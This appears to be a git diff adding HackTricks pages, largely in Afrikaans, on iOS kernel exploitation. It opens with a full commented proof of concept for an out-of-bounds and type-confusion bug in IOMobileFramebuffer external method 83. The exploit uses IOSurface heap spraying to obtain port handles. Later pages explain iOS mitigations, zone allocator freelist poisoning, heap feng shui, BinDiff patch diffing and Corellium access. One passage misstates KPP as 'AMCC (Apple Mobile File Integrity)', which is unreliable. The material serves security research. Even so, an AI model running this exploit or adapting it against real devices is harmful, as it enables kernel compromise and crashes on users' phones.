+//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
+//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
+//    We set it to a large value to force the out-of-bounds access.
+uint64_t scalars[4] = { 0x0 };
+scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
+
+// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
+uint64_t output_scalars[4] = { 0 };
+uint32_t output_scalars_size = 1;
+
+printf("call s_default_fb_surface\n");
+
+// 5) Invoke external method #83.
+//    On vulnerable builds, this path ends up calling:
+//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
+//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
+//      which uses our index to read a pointer and then passes it as IOSurface*.
+//    If the pointer is bogus, IOSurface code will dereference it and the kernel
+//    will panic (DoS).
+ret = IOConnectCallMethod(
+shared_user_client_conn,
+83,                 // **Selector 83**: vulnerable external method
+scalars, 1,         // input scalars (count = 1; the OOB index)
+NULL, 0,            // no input struct
+output_scalars, &output_scalars_size,  // optional outputs
+NULL, NULL);        // no output struct
+
+// 6) Check the call result. On many vulnerable targets, you'll see either
+//    KERN_SUCCESS right before a panic (because the deref happens deeper),
+//    or an error if the call path rejects the request (e.g., entitlement/type).
+if (ret != KERN_SUCCESS) {
+printf("failed to call external method: 0x%x --> %s\n",
+ret, mach_error_string(ret));
+return;
+}
+
+printf("external method returned KERN_SUCCESS\n");
+
+// 7) Clean up the user client connection handle.
+IOServiceClose(shared_user_client_conn);
+printf("success!\n");
+}
+```
+## Arbitrary Read PoC Explained
+
+1. **Om die regte user client te open**
+
+-   `get_appleclcd_uc()` vind die **AppleCLCD** service en open **user client type 2**. AppleCLCD en IOMobileFramebuffer deel dieselfde external-methods tabel; type 2 gee toegang tot **selector 83**, die kwesbare metode. **Dit is jou toegang tot die fout.** E_POC/)
+
+**Waarom 83 saak maak:** die gedecompileerde pad is:
+
+-   `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
+→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
+→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
+Binne daardie laaste oproep, die kode **gebruik jou 32-bit scalar as 'n array index sonder bounds check**, haal 'n pointer vanaf **`this + 0xA58 + index*8`**, en **gee dit as 'n `IOSurface*`** aan `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Dit is die OOB + type confusion.**
+
+2. **Die heap spray (why IOSurface shows up here)**
+
+-   `do_spray()` gebruik **`IOSurfaceRootUserClient`** om **baie IOSurfaces te skep** en **klein waardes te spray** (`s_set_value` style). Dit vul nabygeleë kernel heaps met **pointers na geldige IOSurface objects**.
+
+-   **Doel:** wanneer selector 83 verby die legit tabel lees, bevat die **OOB slot waarskynlik 'n pointer na een van jou (ware) IOSurfaces**—sodat die latere dereference **nie crash nie** en **slaag**. IOSurface is 'n klassieke, goed-gedokumenteerde kernel spray primitive, en Saar se post lys eksplisiet die **create / set_value / lookup** metodes wat in hierdie eksploitasie vloei gebruik word.
+
+3. **Die "offset/8" truuk (wat daardie indeks werklik is)**
+
+-   In `trigger_oob(offset)`, stel jy `scalars[0] = offset / 8`.
+
+-   **Waarom deel deur 8?** Die kernel doen **`base + index*8`** om te bereken watter **pointer-sized slot** om te lees. Jy kies **"slot nommer N"**, nie 'n byte offset nie. **Agt bytes per slot** op 64-bit.
+
+-   Daardie berekende adres is **`this + 0xA58 + index*8`**. Die PoC gebruik 'n groot konstante (`0x1200000 + 0x1048`) eenvoudig om **ver ver uit die perke** te stap in 'n gebied wat jy probeer **digtenns vul met IOSurface pointers**. **As die spray "wen," is die slot wat jy tref 'n geldige `IOSurface*`.**
+
+4. **Wat selector 83 teruggee (dit is die subtiele deel)**
+
+-   Die oproep is:
+
+`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
+output_scalars, &output_scalars_size, NULL, NULL);`o
+
+-   Intern, na die OOB pointer fetch, roep die driver\
+**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
+
+-   **Resultaat:** **`output_scalars[0]` is 'n Mach port name (u32 handle) in jou task** vir *watter objek pointer jy ook al via OOB voorsien het*. **Dit is nie 'n raw kernel address leak nie; dit is 'n userspace handle (send right).** Hierdie presiese gedrag (om 'n *port name* te copy) word in Saar se decompilation getoon.
+
+**Waarom dit nuttig is:** met 'n **port name** na die (vermeende) IOSurface, kan jy nou IOSurfaceRoot metodes gebruik soos:
+
+-   **`s_lookup_surface_from_port` (method 34)** → omskep die port in 'n **surface ID** wat jy met ander IOSurface oproepe kan opereer, en
+
+-   **`s_create_port_from_surface` (method 35)** as jy die inverse nodig het.\
+Saar noem presies hierdie metodes as die volgende stap. **Die PoC bewys dat jy 'n "geregistreerde" IOSurface handle kan "manufacture" vanaf 'n OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
+
+Hierdie [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) en daar is kommentaar bygevoeg om die stappe te verduidelik:
+```c
+#include "exploit.h"
+
+// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
+io_connect_t get_appleclcd_uc(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
+// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
+
+// Find the **AppleCLCD** service in the IORegistry.
+io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
+IOServiceMatching("AppleCLCD"));
+if(service == MACH_PORT_NULL) {
+printf("[-] failed to open service\n");
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD service: 0x%x\n", service);
+
+// Open a user client connection to AppleCLCD with the chosen **type**.
+ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
+if(ret != KERN_SUCCESS) {
+printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
+return MACH_PORT_NULL;
+}
+printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
+return shared_user_client_conn;
+}
+
+// Trigger the OOB index path of external method #83.
+// The 'offset' you pass is in bytes; dividing by 8 converts it to the
+// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
+uint64_t trigger_oob(uint64_t offset) {
+kern_return_t ret;
+
+// The method takes a single 32-bit scalar that it uses as an index.
+uint64_t scalars[1] = { 0x0 };
+scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐
+
+// #83 returns one scalar. In this flow it will be the Mach port name
+// (a u32 handle in our task), not a kernel pointer.
+uint64_t output_scalars[1] = { 0 };
+uint32_t output_scalars_size = 1;
+
+io_connect_t appleclcd_uc = get_appleclcd_uc();
+if (appleclcd_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+// Call external method 83. Internally:
+//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
+//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
+// which creates a send right for that object and writes its port name
+// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
+ret = IOConnectCallMethod(appleclcd_uc, 83,
+scalars, 1,
+NULL, 0,
+output_scalars, &output_scalars_size,
+NULL, NULL);
+
+if (ret != KERN_SUCCESS) {
+printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
+return 0;
+}
+
+// This is the key: you get back a Mach port name (u32) to whatever
+// object was at that OOB slot (ideally an IOSurface you sprayed).
+printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
+return output_scalars[0];
+}
+
+// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
+// real IOSurface (easier & stabler than a fully fake object).
+bool do_spray(void) {
+char data[0x10];
+memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
+
+// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+printf("[-] do_spray: failed to allocate new iosurface_uc\n");
+return false;
+}
+
+// Create many IOSurfaces and use set_value / value spray helpers
+// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
+int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
+for (size_t i = 0; i < SURFACES_COUNT; ++i) {
+surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
+if (surface_ids[i] <= 0) {
+return false;
+}
+
+// Spray small values repeatedly: tends to allocate/fill predictable
+// kalloc regions near where the IOMFB table OOB will read from.
+// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
+if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
+20, 200,   // rounds, per-round items
+data, sizeof(data),
+NULL) == false) {
+printf("iosurface spray failed\n");
+return false;
+}
+}
+return true;
+}
+
+int main(void) {
+// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
+io_connect_t iosurface_uc = get_iosurface_root_uc();
+if (iosurface_uc == MACH_PORT_NULL) {
+return 0;
+}
+
+printf("[*] do spray\n");
+if (do_spray() == false) {
+printf("[-] shape failed, abort\n");
+return 1;
+}
+printf("[*] spray success\n");
+
+// Trigger the OOB read. The magic constant chooses a pointer-slot
+// far beyond the legit array (offset is in bytes; index = offset/8).
+// If the spray worked, this returns a **Mach port name** (handle) to one
+// of your sprayed IOSurfaces; otherwise it may crash.
+printf("[*] trigger\n");
+trigger_oob(0x1200000 + 0x1048);
+return 0;
+}
+```
+## Verwysings
+- [Oorspronklike writeup deur Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
+- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
+- [Navorsing deur jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/README.md

@@ -0,0 +1,266 @@
+# iOS Exploiting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## iOS Exploit Mitigations
+
+- **Code Signing** in iOS werk deur te vereis dat elke stukkie uitvoerbare kode (apps, libraries, extensions, ens.) kriptografies geteken is met 'n sertifikaat wat deur Apple uitgereik is. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple’s trusted root. As die handtekening ongeldig, afwesig of gemodifiseer is, weier die OS om dit te bestuur. Dit verhoed dat aanvalleerders kwaadwillige kode in legitieme apps insit of unsigned binaries uitvoer, en stop dus die meeste exploit-chains wat staatmaak op die uitvoer van arbitrêre of gemanipuleerde kode.
+- **CoreTrust** is die iOS-substelsel wat code signing by runtime afdwing. Dit verifieer handtekeninge direk met Apple’s root certificate sonder om op gecachte trust-stores staat te maak, wat beteken dat slegs binaries gesigneer deur Apple (of met geldige entitlements) kan uitvoer. CoreTrust verseker dat selfs as 'n aanvaller 'n app ná installasie manipuleer, sistembiblioteke wysig of probeer unsigned code laai, die stelsel uitvoering blokkeer tensy die kode steeds behoorlik geteken is. Hierdie streng afdwinging sluit baie post-exploitation vektore wat ouer iOS-weergawes deur swak of omseilbare signature checks toegelaat het.
+- **Data Execution Prevention (DEP)** merk geheuegebiede as nie-uitvoerbaar tensy hulle eksplisiet kode bevat. Dit keer dat aanvalleerders shellcode in data-områdes (soos die stack of heap) insit en uitvoer, en dwing hulle om op meer komplekse tegnieke soos ROP (Return-Oriented Programming) staat te maak.
+- **ASLR (Address Space Layout Randomization)** randomiseer die geheueadresse van kode, libraries, stack en heap elke keer wanneer die stelsel loop. Dit maak dit baie moeiliker vir aanvalleerders om te voorspel waar nuttige instruksies of gadgets is, en breek baie exploit-chains wat op vaste geheue-lay-outs staatmaak.
+- **KASLR (Kernel ASLR)** pas dieselfde randomiseringskonsep op die iOS-kernel toe. Deur die kernel se basisadres by elke opstart te skud, voorkom dit dat aanvalleerders betroubaar kernel-funksies of -strukture lokaliseer, wat die moeilikheidsgraad van kernel-vlak exploits wat volle stelselbeheer sou gee, verhoog.
+- **Kernel Patch Protection (KPP)**, ook bekend as **AMCC (Apple Mobile File Integrity)** in iOS, monitor kontinu die kernel se code pages om te verseker dat dit nie gewysig is nie. As enige manipulasie opgespoor word—soos 'n exploit wat kernel-funksies probeer patch of kwaadwillige kode insit—sal die toestel onmiddellik panic en herbegin. Hierdie beskerming maak volhoubare kernel-exploits aansienlik moeiliker, aangesien aanvalleerders nie net kernel-instruksies kan hook of patch sonder om 'n stelsel-crash te veroorsaak nie.
+- **Kernel Text Readonly Region (KTRR)** is 'n hardeware-gebaseerde sekuriteitsfunksie wat op iOS-toestelle bekendgestel is. Dit gebruik die CPU se geheuebeheerder om die kernel se code (text) afdeling na opstart permanent as read-only te merk. Sodra dit vergrendel is, kan selfs die kernel self hierdie geheuegebied nie wysig nie. Dit keer aanvalleerders — en selfs bevoorregte kode — om kernel-instruksies tydens runtime te patch, en sluit 'n groot klas exploits wat op direkte modifikasie van kernel-kode staatgemaak het, af.
+- **Pointer Authentication Codes (PAC)** gebruik kriptografiese handtekeninge ingebed in ongebruikte bits van pointers om hul integriteit te verifieer voordat hulle gebruik word. Wanneer 'n pointer (soos 'n return address of function pointer) geskep word, teken die CPU dit met 'n geheime sleutel; voor dereferencing, kontroleer die CPU die handtekening. As die pointer gemanipuleer is, misluk die check en stop uitvoering. Dit verhoed dat aanvalleerders vervalste of gekorrupte pointers in memory forgeer of hergebruik in memory corruption exploits, wat tegnieke soos ROP of JOP baie moeiliker maak om betroubaar uit te voer.
+- **Privilege Access never (PAN)** is 'n hardeware-funksie wat die kernel (bevoorregte modus) verhinder om direk user-space memory te benader tensy dit eksplisiet toegang aktief maak. Dit hou aanvalleerders wat kernel code execution verkry het daarvan weerhou om maklik user memory te lees of te skryf om exploits op te skerp of sensitiewe data te steel. Deur streng skeiding af te dwing, verminder PAN die impak van kernel-exploits en blokkeer baie algemene privilege-escalation tegnieke.
+- **Page Protection Layer (PPL)** is 'n iOS-sekuriteitsmeganisme wat kritieke kernel-beheerde geheuegebiede beskerm, veral dié wat verband hou met code signing en entitlements. Dit handhaaf streng write-beskerming met behulp van die MMU (Memory Management Unit) en addisionele kontroles, wat verseker dat selfs bevoorregte kernel-kode nie lukraak sensitiewe pages kan wysig nie. Dit verhoed dat aanvalleerders wat kernel-vlak uitvoering kry sekuriteitskritieke strukture manipuleer, en maak persistentie en code-signing omseilings aansienlik moeiliker.
+
+## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
+
+Die kernel het 'n **zone allocator** (`kalloc`) gebruik wat in vaste-grootte "zones" verdeel is.
+Elke zone stoor slegs allocations van 'n enkele size class.
+
+From the screenshot:
+
+| Zone Name            | Element Size | Example Use                                                                 |
+|----------------------|--------------|-----------------------------------------------------------------------------|
+| `default.kalloc.16`  | 16 bytes     | Very small kernel structs, pointers.                                        |
+| `default.kalloc.32`  | 32 bytes     | Small structs, object headers.                                              |
+| `default.kalloc.64`  | 64 bytes     | IPC messages, tiny kernel buffers.                                          |
+| `default.kalloc.128` | 128 bytes    | Medium objects like parts of `OSObject`.                                    |
+| `default.kalloc.256` | 256 bytes    | Larger IPC messages, arrays, device structures.                             |
+| …                    | …            | …                                                                           |
+| `default.kalloc.1280`| 1280 bytes   | Large structures, IOSurface/graphics metadata.                              |
+
+**How it worked:**
+- Each allocation request gets **rounded up** to the nearest zone size.
+(E.g., a 50-byte request lands in the `kalloc.64` zone).
+- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone.
+- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**.
+
+This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class.
+
+### The freelist
+
+Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks.
+
+- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone.
+
+- The zone kept a HEAD pointer to the first free chunk.
+
+- Allocation always used the current HEAD:
+
+1. Pop HEAD (return that memory to the caller).
+
+2. Update HEAD = HEAD->next (stored in the freed chunk’s header).
+
+- Freeing pushed chunks back:
+
+- `freed_chunk->next = HEAD`
+
+- `HEAD = freed_chunk`
+
+So the freelist was just a linked list built inside the freed memory itself.
+
+Normal state:
+```
+Zone page (64-byte chunks for example):
+[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
+
+Freelist view:
+HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
+(next ptrs stored at start of freed chunks)
+```
+### Exploiting the freelist
+
+Omdat die eerste 8 bytes van 'n free chunk = freelist pointer, kan 'n aanvaller dit korrupteer:
+
+1. **Heap overflow** in 'n aangrensende freed chunk → oorskryf sy “next” pointer.
+
+2. **Use-after-free** skryf in 'n freed object → oorskryf sy “next” pointer.
+
+Dan, by die volgende toewysing van daardie grootte:
+
+- Die allocator haal die gekorrupte chunk uit.
+- Volg die deur die aanvaller verskafde “next” pointer.
+- Gee 'n pointer terug na arbitrêre geheue, wat fake object primitives of geteikende oorskrywing moontlik maak.
+
+Visuele voorbeeld van freelist poisoning:
+```
+Before corruption:
+HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
+
+After attacker overwrite of F1->next:
+HEAD ──► [ F1 ]
+(next) ──► 0xDEAD_BEEF_CAFE_BABE  (attacker-chosen)
+
+Next alloc of this zone → kernel hands out memory at attacker-controlled address.
+```
+This freelist-ontwerp het uitbuiting baie effektief gemaak voor die verharding: voorspelbare bure van heap sprays, ruwe pointer freelist links, en geen tipe-separasie het aanvallers toegelaat om UAF/overflow-bugs te eskaleer na arbitraire beheer van kernel-geheue.
+
+### Heap Grooming / Feng Shui
+Die doel van heap grooming is om die heap-lay-out te **vorm** sodat wanneer 'n aanvaller 'n overflow of use-after-free aktiveer, die teiken (slagoffer) objek presies langs 'n deur-aanvaller-beheerde objek sit.\
+Op dié manier kan die aanvaller, wanneer geheue-korrupsie plaasvind, die slagoffer-objek betroubaar met beheerdata oorskryf.
+
+**Stappe:**
+
+1. Spray allocations (fill the holes)
+- Mettertyd raak die kernel heap gefragmenteerd: sommige zones het gapings waar ou
+objekte vrygestel is.
+- Die aanvaller maak eers baie dummy-allocations om hierdie gapings te vul, sodat
+die heap “gepak” en voorspelbaar raak.
+
+2. Force new pages
+- Sodra die gapings gevul is, moet die volgende allocations van nuwe bladsye
+by die zone kom.
+- Nuwe bladsye beteken objekke sal saamgekluster wees, nie oor ou gefragmenteerde
+geheue versprei nie.
+- Dit gee die aanvaller baie beter beheer oor bure.
+
+3. Place attacker objects
+- Die aanvaller spray weer, en skep baie deur-aanvaller-beheerde objekke
+in daardie nuwe bladsye.
+- Hierdie objekke is voorspelbaar in grootte en posisie (aangesien hulle almal
+aan dieselfde zone behoort).
+
+4. Free a controlled object (make a gap)
+- Die aanvaller vrylaat doelbewus een van hul eie objekke.
+- Dit skep 'n “gat” in die heap, wat die allocator later sal hergebruik vir
+die volgende allocation van daardie grootte.
+
+5. Victim object lands in the hole
+- Die aanvaller laat die kernel die slagoffer-objek (die een wat hulle wil korrupteer) allokeer.
+- Aangesien die gat die eerste beskikbare slot in die freelist is, word die slagoffer
+presies geplaas waar die aanvaller hul objek vrygelaat het.
+
+6. Overflow / UAF into victim
+- Nou het die aanvaller deur-aanvaller-beheerde objekke rondom die slagoffer.
+- Deur te overflow van een van hul eie objekke (of deur 'n vrygestelde een te hergebruik), kan hulle betroubaar die slagoffer se geheuevelde met gekose waardes oorskryf.
+
+**Waarom dit werk**:
+
+- Zone allocator voorspelbaarheid: allocations van dieselfde grootte kom altyd uit
+dieselfde zone.
+- Freelist gedrag: nuwe allocations hergebruik die mees onlangs vrygestelde chunk eerstens.
+- Heap sprays: die aanvaller vul geheue met voorspelbare inhoud en beheer die lay-out.
+- Eindresultaat: die aanvaller beheer waar die slagoffer-objek lands en watter data langs dit sit.
+
+---
+
+## Modern Kernel Heap (iOS 15+/A12+ SoCs)
+
+Apple het die allocator gehard en gemaak dat **heap grooming baie moeiliker** is:
+
+### 1. From Classic kalloc to kalloc_type
+- **Before**: 'n enkele `kalloc.<size>` zone het bestaan vir elke grootteklas (16, 32, 64, … 1280, ens.). Enige objek van daardie grootte is daar geplaas → aanvaller-objekte kon langs bevoorregte kernel-objekte sit.
+- **Now**:
+- Kernel-objekte word gealloceer uit **typed zones** (`kalloc_type`).
+- Elke tipe objek (bv. `ipc_port_t`, `task_t`, `OSString`, `OSData`) het sy eie toegewyde zone, selfs al is hulle dieselfde grootte.
+- Die mapping tussen objektipe ↔ zone word gegenereer uit die **kalloc_type system** by saamstelling.
+
+'n Aanvaller kan nie meer waarborg dat beheerde data (`OSData`) langs sensitiewe kernel-objekte (`task_t`) van dieselfde grootte eindig nie.
+
+### 2. Slabs and Per-CPU Caches
+- Die heap is verdeel in **slabs** (bladsye geheue in vaste-grootte stukke gesny vir daardie zone).
+- Elke zone het 'n **per-CPU cache** om konflik te verminder.
+- Allocatiepad:
+1. Probeer per-CPU cache.
+2. As dit leeg is, haal van die globale freelist.
+3. As die freelist leeg is, allokeer 'n nuwe slab (een of meer bladsye).
+- **Voordeel**: Hierdie desentralisasie maak heap sprays minder deterministies, aangesien allocations moontlik deur verskillende CPU's se caches bevredig word.
+
+### 3. Randomization inside zones
+- Binne 'n zone word vrygestelde elemente nie in eenvoudige FIFO/LIFO volgorde teruggegee nie.
+- Moderne XNU gebruik **encoded freelist pointers** (safe-linking soos Linux, bekendgestel ~iOS 14).
+- Elke freelist-pointer is **XOR-gekodeer** met 'n per-zone geheime cookie.
+- Dit verhoed dat aanvallers 'n vals freelist-pointer kan voorsê indien hulle 'n write-primitive kry.
+- Sommige allocations word **gerandomiseer in hul plasing binne 'n slab**, so spraying waarborg nie nabyheid nie.
+
+### 4. Guarded Allocations
+- Sekere kritieke kernel-objekte (bv. credentials, task-strukture) word gealloceer in **guarded zones**.
+- Hierdie zones sit **guard pages** (nie-gemapde geheue) tussen slabs in of gebruik **redzones** rondom objekke.
+- Enige overflow in die guard page veroorsaak 'n fout → onmiddellike panic in plaas van stille korrupsie.
+
+### 5. Page Protection Layer (PPL) and SPTM
+- Selfs as jy 'n vrygestelde objek beheer, kan jy nie al die kernel-geheue wysig nie:
+- **PPL (Page Protection Layer)** dwing af dat sekere streke (bv. code signing data, entitlements) **slegs-lees** is selfs vir die kernel self.
+- Op **A15/M2+ devices**, word hierdie rol vervang/versterk deur **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
+- Hierdie hardware-afgedwonge lae beteken aanvallers kan nie van 'n enkele heap-korrupsie eskaleer na arbitraire patching van kritieke sekuriteitsstrukture nie.
+
+### 6. Large Allocations
+- Nie alle allocations gaan deur `kalloc_type` nie.
+- Baie groot versoeke (bo ~16KB) omseil typed zones en word direk vanaf **kernel VM (kmem)** deur bladsy-allocations bedien.
+- Hierdie is minder voorspelbaar, maar ook minder uitbuitbaar, aangesien hulle nie slabs met ander objekke deel nie.
+
+### 7. Allocation Patterns Attackers Target
+Alhoewel hierdie beskermings bestaan, soek aanvallers steeds na:
+- **Reference count objects**: as jy die retain/release tellers kan manipuleer, kan jy use-after-free veroorsaak.
+- **Objects with function pointers (vtables)**: korruptering van een gee steeds control flow.
+- **Shared memory objects (IOSurface, Mach ports)**: hierdie bly teiken omdat hulle user ↔ kernel bridge.
+
+Maar — anders as voorheen — kan jy nie net `OSData` spray en verwag dat dit langs 'n `task_t` sit nie. Jy het behoefte aan **type-specific bugs** of **info leaks** om te slaag.
+
+### Example: Allocation Flow in Modern Heap
+
+Stel userspace roep in op IOKit om 'n `OSData`-objek te allokeer:
+
+1. **Type lookup** → `OSData` map na `kalloc_type_osdata` zone (grootte 64 bytes).
+2. Check per-CPU cache vir vry elemente.
+- As gevind → gee een terug.
+- As leeg → gaan na globale freelist.
+- As freelist leeg → allokeer 'n nuwe slab (bladsy van 4KB → 64 stukke van 64 bytes).
+3. Gee chunk terug aan caller.
+
+**Freelist pointer protection**:
+- Elke vrygestelde chunk stoor die adres van die volgende vrye chunk, maar gekodeer met 'n geheime sleutel.
+- Oorskryf van daardie veld met aanvaller-data sal nie werk tensy jy die sleutel ken.
+
+## Comparison Table
+
+| Feature                         | **Old Heap (Pre-iOS 15)**                                  | **Modern Heap (iOS 15+ / A12+)**                  |
+|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
+| Allocation granularity          | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.)        | Size + **type-based buckets** (`kalloc_type`)    |
+| Placement predictability         | High (same-size objects side by side)                     | Low (same-type grouping + randomness)            |
+| Freelist management             | Raw pointers in freed chunks (easy to corrupt)             | **Encoded pointers** (safe-linking style)        |
+| Adjacent object control         | Easy via sprays/frees (feng shui predictable)              | Hard — typed zones separate attacker objects      |
+| Kernel data/code protections    | Few hardware protections                                   | **PPL / SPTM** protect page tables & code pages   |
+| Exploit reliability             | High with heap sprays                                      | Much lower, requires logic bugs or info leaks     |
+
+## (Old) Physical Use-After-Free via IOSurface
+
+{{#ref}}
+ios-physical-uaf-iosurface.md
+{{#endref}}
+
+---
+
+## Ghidra Install BinDiff
+
+Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
+
+Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch.
+
+### Using BinDiff with Kernel versions
+
+1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
+2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+{{#endref}}
+
+3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
+4. Open each kernelcache so they are automatically analyzed by Ghidra.
+5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
+6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
+
+---
+
+## Finding the right XNU version
+
+If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
+
+For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
+
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/ios-corellium.md

@@ -0,0 +1,79 @@
+# iOS Hoe om met Corellium te verbind
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## **Vereistes**
+- 'n Corellium iOS VM (jailbroken of nie). In hierdie gids gaan ons daarvan uit dat jy toegang tot Corellium het.
+- Plaaslike gereedskap: **ssh/scp**.
+- (Opsioneel) **SSH keys** bygevoeg tot jou Corellium-projek vir wagwoordlose aanmeldings.
+
+
+## **Verbind met die iPhone VM vanaf localhost**
+
+### A) **Quick Connect (no VPN)**
+0) Voeg jou ssh key in **`/admin/projects`** (aanbeveel).
+1) Maak die toestelbladsy oop → **Connect**
+2) **Kopieer die Quick Connect SSH command** wat deur Corellium gewys word en plak dit in jou terminal.
+3) Voer die wagwoord in of gebruik jou sleutel (aanbeveel).
+
+### B) **VPN → direct SSH**
+0) Voeg jou ssh key in **`/admin/projects`** (aanbeveel).
+1) Toestelbladsy → **CONNECT** → **VPN** → laai die `.ovpn` af en verbind met enige VPN-kliënt wat TAP-mode ondersteun. (Kyk [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) as jy probleme ondervind.)
+2) SSH na die VM se **10.11.x.x** adres:
+```bash
+ssh root@10.11.1.1
+```
+## **Laai 'n inheemse binêre op & voer dit uit**
+
+### 2.1 **Oplaai**
+- As Quick Connect jou 'n host/port gegee het:
+```bash
+scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
+```
+- As jy VPN gebruik (10.11.x.x):
+```bash
+scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
+```
+## **Laai op & installeer 'n iOS-app (.ipa)**
+
+### Pad A — **Web UI (vinnigste)**
+1) Toestelblad → **Apps** oortjie → **Install App** → kies jou `.ipa`.
+2) Vanaf dieselfde oortjie kan jy **launch/kill/uninstall**.
+
+### Pad B — **Skripgedrewe via Corellium Agent**
+1) Gebruik die API Agent om eers te **upload** en dan te **install**:
+```js
+// Node.js (pseudo) using Corellium Agent
+await agent.upload("./app.ipa", "/var/tmp/app.ipa");
+await agent.install("/var/tmp/app.ipa", (progress, status) => {
+console.log(progress, status);
+});
+```
+### Path C — **Non-jailbroken (proper signing / Sideloadly)**
+- As jy nie 'n provisioning profile het nie, gebruik **Sideloadly** om weer te onderteken met jou Apple ID, of teken in Xcode aan.
+- Jy kan ook die VM aan Xcode blootstel met **USBFlux** (sien §5).
+
+
+- Vir vinnige logs/kommando's sonder **SSH**, gebruik die toestel **Console** in die UI.
+
+## **Ekstra**
+
+- **Port-forwarding** (maak die VM vir ander gereedskap plaaslik voel):
+```bash
+# Forward local 2222 -> device 22
+ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
+# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
+```
+- **LLDB remote debugging**: gebruik die **LLDB/GDB stub** adres wat onderaan die toestelbladsy vertoon word (CONNECT → LLDB).
+
+- **USBFlux (macOS/Linux)**: stel die VM aan **Xcode/Sideloadly** voor as 'n gekabelde toestel.
+
+
